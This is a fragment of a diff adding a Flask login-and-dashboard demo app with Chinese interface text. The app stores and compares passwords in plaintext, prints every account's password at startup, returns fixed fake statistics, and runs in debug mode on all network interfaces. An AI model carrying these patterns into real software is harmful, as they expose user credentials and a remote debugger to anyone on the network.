+ }
618
+ }
619
+ }
620
+ });
621
+ });
622
 
623
+ function refreshData() {
624
+ alert('数据已刷新!');
625
+ location.reload();
626
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
627
 
628
+ // 模拟实时更新时间
629
+ function updateTime() {
630
+ const now = new Date();
631
+ const timeString = now.toLocaleTimeString('zh-CN');
632
+ document.querySelector('.login-time').innerHTML =
633
+ `<i class="fas fa-clock me-1"></i> ${timeString}`;
634
+ }
635
 
636
+ setInterval(updateTime, 1000);
637
+ </script>
638
+ </body>
639
+ </html>
640
+ '''
641
+
642
+ @app.route('/')
643
+ def index():
644
+ if 'username' in session:
645
+ return redirect('/dashboard')
646
+ return render_template_string(LOGIN_TEMPLATE, current_year=datetime.now().year)
647
+
648
+ @app.route('/login', methods=['GET', 'POST'])
649
+ def login():
650
+ if request.method == 'POST':
651
+ username = request.form.get('username', '').strip()
652
+ password = request.form.get('password', '')
653
 
654
+ if username in USERS and USERS[username] == password:
655
+ session['username'] = username
656
+ session['login_time'] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
657
+ return redirect('/dashboard')
658
+ else:
659
+ return render_template_string(
660
+ LOGIN_TEMPLATE,
661
+ error="用户名或密码错误!",
662
+ current_year=datetime.now().year
663
+ )
664
 
665
+ return redirect('/')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
666
 
667
+ @app.route('/dashboard')
668
+ def dashboard():
669
+ if 'username' not in session:
670
+ return redirect('/')
 
 
 
 
 
 
 
 
671
 
672
+ current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
673
+ return render_template_string(
674
+ DASHBOARD_TEMPLATE,
675
+ username=session['username'],
676
+ current_time=current_time,
677
+ current_year=datetime.now().year
678
+ )
679
+
680
+ @app.route('/logout')
681
+ def logout():
682
+ session.clear()
683
+ return redirect('/')
684
+
685
+ @app.route('/api/stats')
686
+ def api_stats():
687
+ if 'username' not in session:
688
+ return jsonify({'error': '未授权'}), 401
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
689
 
690
+ return jsonify({
691
+ 'users_online': 42,
692
+ 'requests_today': 1256,
693
+ 'response_time': '45ms',
694
+ 'uptime': '99.8%'
695
+ })
 
 
 
 
 
 
 
 
 
696
 
697
+ if __name__ == '__main__':
698
+ print("="*60)
699
+ print("🔒 安全访问系统已启动")
700
+ print("="*60)
701
+ print(f"📁 访问地址: http://localhost:5000")
702
+ print(f"👤 可用账户:")
703
+ for user, pwd in USERS.items():
704
+ print(f" 用户名: {user} | 密码: {pwd}")
705
+ print("="*60)
706
+
707
+ app.run(debug=True, host='0.0.0.0', port=5000)